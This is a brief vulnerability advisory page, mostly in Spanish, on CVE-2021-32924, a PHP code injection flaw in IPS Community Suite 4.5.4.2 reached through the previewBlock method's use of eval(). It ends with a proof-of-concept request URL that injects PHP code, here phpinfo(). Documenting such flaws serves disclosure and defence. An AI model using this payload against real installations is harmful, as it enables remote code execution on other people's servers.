CVE-2021-32924_IPS_Community_Suite_4.5.4.2_PHP代碼注入漏洞_es

# CVE-2021-32924 IPS Community Suite 4.5.4.2 PHP代碼注入漏洞/es

== Introducción ==
Las versiones 4.5.4.2 y anteriores de IPS Community Suite tienen vulnerabilidades de inyección de código PHP. La vulnerabilidad existe porque el método IPS \ cms \ modules \ front \ pages \ _builder :: previewBlock () permite pasar contenido arbitrario a IPS \ _Theme :: runProcessFunction () Método, este método se utilizará para llamar a la función PHP eval () . Esto se puede utilizar para inyectar y ejecutar código PHP arbitrario. La explotación exitosa de esta vulnerabilidad requiere una cuenta (como un moderador o administrador) con permisos para administrar la barra lateral y habilitar la aplicación "cms".

==POC==

http://[host]/[ips]/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容